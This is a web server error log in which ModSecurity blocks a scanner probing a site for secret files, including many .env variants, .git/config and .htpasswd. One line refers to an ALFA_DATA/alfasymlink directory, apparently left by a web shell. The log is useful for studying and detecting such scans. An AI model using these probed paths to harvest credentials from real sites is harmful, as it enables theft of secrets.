[Sun Oct 25 22:08:49.466282 2026] [security2:error] [pid 2943074:tid 2943074] [client 34.81.7.133:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at62MVHtE8VtTsGQsKvn7QAAACc"]
[Sun Oct 25 22:08:49.467019 2026] [security2:error] [pid 2943067:tid 2943067] [client 34.81.7.133:40384] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at62Mb1YxWy7Rpvzy4DLvQAAAB4"]
[Sun Oct 25 22:08:49.467170 2026] [security2:error] [pid 2943067:tid 2943067] [client 34.81.7.133:40384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at62Mb1YxWy7Rpvzy4DLvQAAAB4"]
[Sun Oct 25 22:08:49.467403 2026] [security2:error] [pid 2943067:tid 2943067] [client 34.81.7.133:40384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at62Mb1YxWy7Rpvzy4DLvQAAAB4"]
[Sun Oct 25 22:08:49.483275 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at62MVKNdIrfpEod-HqECAAAACo"]
[Sun Oct 25 22:08:49.483455 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at62MVKNdIrfpEod-HqECAAAACo"]
[Sun Oct 25 22:08:49.483671 2026] [security2:error] [pid 2943077:tid 2943077] [client 34.81.7.133:40486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at62MVKNdIrfpEod-HqECAAAACo"]
[Sun Oct 25 22:08:49.508851 2026] [security2:error] [pid 2943075:tid 2943075] [client 34.81.7.133:40540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at62Me5SFKMRZX57g5QU1QAAACg"]
[Sun Oct 25 22:08:49.509006 2026] [security2:error] [pid 2943075:tid 2943075] [client 34.81.7.133:40540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at62Me5SFKMRZX57g5QU1QAAACg"]
[Sun Oct 25 22:08:49.509246 2026] [security2:error] [pid 2943075:tid 2943075] [client 34.81.7.133:40540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at62Me5SFKMRZX57g5QU1QAAACg"]
[Sun Oct 25 22:08:49.544854 2026] [security2:error] [pid 2943060:tid 2943060] [client 34.81.7.133:40560] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at62MR1tc7D757RCCKYAZgAAABQ"]
[Sun Oct 25 22:08:49.545036 2026] [security2:error] [pid 2943060:tid 2943060] [client 34.81.7.133:40560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at62MR1tc7D757RCCKYAZgAAABQ"]
[Sun Oct 25 22:08:49.545277 2026] [security2:error] [pid 2943060:tid 2943060] [client 34.81.7.133:40560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at62MR1tc7D757RCCKYAZgAAABQ"]
[Sun Oct 25 22:08:49.551402 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at62MYLcv9dw313oUE99_wAAAAM"]
[Sun Oct 25 22:08:49.551574 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at62MYLcv9dw313oUE99_wAAAAM"]
[Sun Oct 25 22:08:49.551795 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at62MYLcv9dw313oUE99_wAAAAM"]
[Sun Oct 25 22:08:49.559803 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.next/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at62MRaKu-Zjs56a5J4sDwAAAAo"]
[Sun Oct 25 22:08:49.559945 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at62MRaKu-Zjs56a5J4sDwAAAAo"]
[Sun Oct 25 22:08:49.560166 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at62MRaKu-Zjs56a5J4sDwAAAAo"]
[Sun Oct 25 22:08:49.710015 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at62MZ7ubR9zMkfykS4UCwAAAB8"]
[Sun Oct 25 22:08:49.710203 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at62MZ7ubR9zMkfykS4UCwAAAB8"]
[Sun Oct 25 22:08:49.710457 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at62MZ7ubR9zMkfykS4UCwAAAB8"]
[Sun Oct 25 22:08:49.711233 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at62Mfv3Bqe9ulig-nTwswAAAAk"]
[Sun Oct 25 22:08:49.711397 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at62Mfv3Bqe9ulig-nTwswAAAAk"]
[Sun Oct 25 22:08:49.711613 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at62Mfv3Bqe9ulig-nTwswAAAAk"]
[Sun Oct 25 22:08:49.869014 2026] [core:error] [pid 2927273:tid 2927273] (13)Permission denied: [client 185.191.171.10:39908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kvm/sections/__tracepoints_strings
[Sun Oct 25 22:08:50.376774 2026] [authz_core:error] [pid 2943058:tid 2943058] [client 34.81.7.133:40614] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/clic3/.htpasswd
[Sun Oct 25 22:08:50.535980 2026] [ssl:error] [pid 2943081:tid 2943081] (70014)End of file found: [client 44.210.204.255:54517] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:08:50.940722 2026] [security2:error] [pid 2943067:tid 2943067] [client 34.81.7.133:40384] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic3.sherwinpinturas.com"] [uri "/netlify.toml"] [unique_id "at62Mr1YxWy7Rpvzy4DLvwAAAB4"]
[Sun Oct 25 22:08:50.940761 2026] [security2:error] [pid 2943067:tid 2943067] [client 34.81.7.133:40384] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic3.sherwinpinturas.com"] [uri "/netlify.toml"] [unique_id "at62Mr1YxWy7Rpvzy4DLvwAAAB4"]
[Sun Oct 25 22:08:51.131243 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at62M57ubR9zMkfykS4UDgAAAB8"]
[Sun Oct 25 22:08:51.131617 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at62M57ubR9zMkfykS4UDgAAAB8"]
[Sun Oct 25 22:08:51.213176 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at62M57ubR9zMkfykS4UDgAAAB8"]
[Sun Oct 25 22:08:51.655357 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at62M8qAWG0KXU7cDUAgSQAAACY"]
[Sun Oct 25 22:08:51.655599 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at62M8qAWG0KXU7cDUAgSQAAACY"]
[Sun Oct 25 22:08:51.655872 2026] [security2:error] [pid 2943073:tid 2943073] [client 34.81.7.133:40462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at62M8qAWG0KXU7cDUAgSQAAACY"]
[Sun Oct 25 22:08:51.657061 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at62M12gI0wACY59VBumRAAAACA"]
[Sun Oct 25 22:08:51.657275 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at62M12gI0wACY59VBumRAAAACA"]
[Sun Oct 25 22:08:51.657578 2026] [security2:error] [pid 2943069:tid 2943069] [client 34.81.7.133:40592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at62M12gI0wACY59VBumRAAAACA"]
[Sun Oct 25 22:08:51.782609 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at62MzbTjnVH12qwK530fwAAABw"]
[Sun Oct 25 22:08:51.782851 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at62MzbTjnVH12qwK530fwAAABw"]
[Sun Oct 25 22:08:51.783169 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at62MzbTjnVH12qwK530fwAAABw"]
